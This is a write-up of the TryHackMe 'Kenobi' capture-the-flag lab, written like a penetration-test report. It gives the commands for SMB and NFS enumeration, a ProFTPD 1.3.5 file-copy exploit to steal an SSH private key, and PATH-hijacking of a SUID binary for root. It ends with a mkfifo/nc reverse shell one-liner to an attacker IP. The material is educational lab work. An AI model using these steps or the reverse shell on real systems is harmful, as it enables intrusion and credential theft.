Kenobi

Lessons Learnt summary

Lab kenobi
URL https://tryhackme.com/jr/kenobi
Main goal Exploiting misconfigurations and obsolete softwares to get access to remote shell, and escalate as root using path variable manipulation
Pitfalls to avoid
  • Identify SMB shares (and mount them)

The lab details

This time, I will write down this "article" like I would write down a security report. Actually, using these labs to improve your report writing skills is probably the best thing to do.

I wouldn't mention the /admin.html honeypot from the robots.txt file in a security report, so I'm skipping over it here.

Open SMB share with log data

When scanning the server using Nmap, we can see that some SMB shares are opened, anonymously (\\10.10.79.163\anonymous).

nmap -p 445,139 --script "smb-enum*" 10.10.79.163

Using smbclient, we can connect to the SMB share and see it contains a log.txt file. We can mount it locally and retrieve the log.txt file content.

smbclient //10.10.79.163/anonymous then ls

mkdir smb && cd smb && smbget -R smb://10.10.79.163/anonymous && cat log.txt

This file looks like a log file containing some key information and some configuration data, like a Username we may assume to be a SSH login, and the location of what seems to be their public key. We will also assume that the private key may have been stored at that same place, using the standard id_rsa/id_rsa.pub paths for both private/public key

cat ./smb/log.txt | grep -i 'user'

cat ./smb/log.txt | grep -i 'key'

Obsolete FTP server

Using Nmap again, we can see that ProFTPD 1.3.5 is used, which is an old and vulnerable version. Several exploits exist in Metasploit for that, including an arbitrary file copy (36742) that we will run against the server.

nmap -sC -sV 10.10.79.163

searchsploit "proftpd" "1.3.5"

cat $(locate 36742.txt)

Open NFS share

Using Nmap one last time, we see a NFS instance for /var that we can locally mount in our attacker's laptop.

nmap -p 111 --script "nfs-*" 10.10.79.163

mkdir remote-var && sudo mount 10.10.79.163:/var remote-var


Getting user shell access

Exfiltrating the private key

We now send the appropriate commands nc 10.10.79.163 SITE CPFR /home/kenobi/.ssh/id_rsa and SITE CPTO /var/tmp/kenobi_id_rsa to the vulnerable ProFTPD server. This will tell the FTP server to take the file /home/kenobi/.ssh/id_rsa (which we blindly assume exists and is Kenobi's private key) to /var/tmp/kenobi_id_rsa which is readable and that we mounted localy so we can retrieve the private key

We exploit ProFTPD to copy the private key to a readable NFS

And we have the private key

Access the SSH server

We now have the private key so we can log using SSH, forcing it to only use this private key with the appropriate permissions (screen below shows permissive permissions and missing user name when trying to log in the SSH server)

chmod 600 kenobi_id_rsa && ssh -o 'IdentitiesOnly=yes' -i kenobi_id_rsa kenobi@10.10.79.163

We now have a remote sheel on the machine, with user kenobi's permissions, that allows access to the user.txt flag.

find / -type f -name "*user*.txt" 2>/dev/null and cat user.txt gives the flag

Privilege escalation with PATH injection

We now try to escalate privilege and get root access to the machine. We first look at SUID binaries, and we can see one that is probably custom-made: /usr/bin/menu. Running it with the --help option (guessed, maybe not required) shows some information, that include the ifconfig one.

find / -perm 4000 2>/dev/null then /usr/bin/menu --help

When exploring strings in that binary, it appears that uname -r and ifconfig seems used. They can be assumed to be direct calls to the corresponding binaries, without specifying the whole binary's path. So we will try to make an arbitrary binary (shell script) in the server and have the SUID-ed /usr/bin/menu binary use it instead of the standard ifconfig.

strings /usr/bin/menu

We make a fake ifconfig script containing /bin/sh and make it executable (chmod 700 ifconfig) then inject . in the PATH environment variable to use it

We now have a root remote shell on the server, so we have full root-RCE! And we have the root-flag.

Just a bit post-exploit

Since this shell is pretty dumb, we can leverage it. We tried adding the Kenobi's public key to the root keys, but failed doing so. We tried opening up a reverse shell with nc -e but server has no such version of nc.

So we ended up using pwncat-cs and a nc based one liner reverse shell payload.

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 10.18.0.124 4040 > /tmp/f from the Red team Field manual page 44 book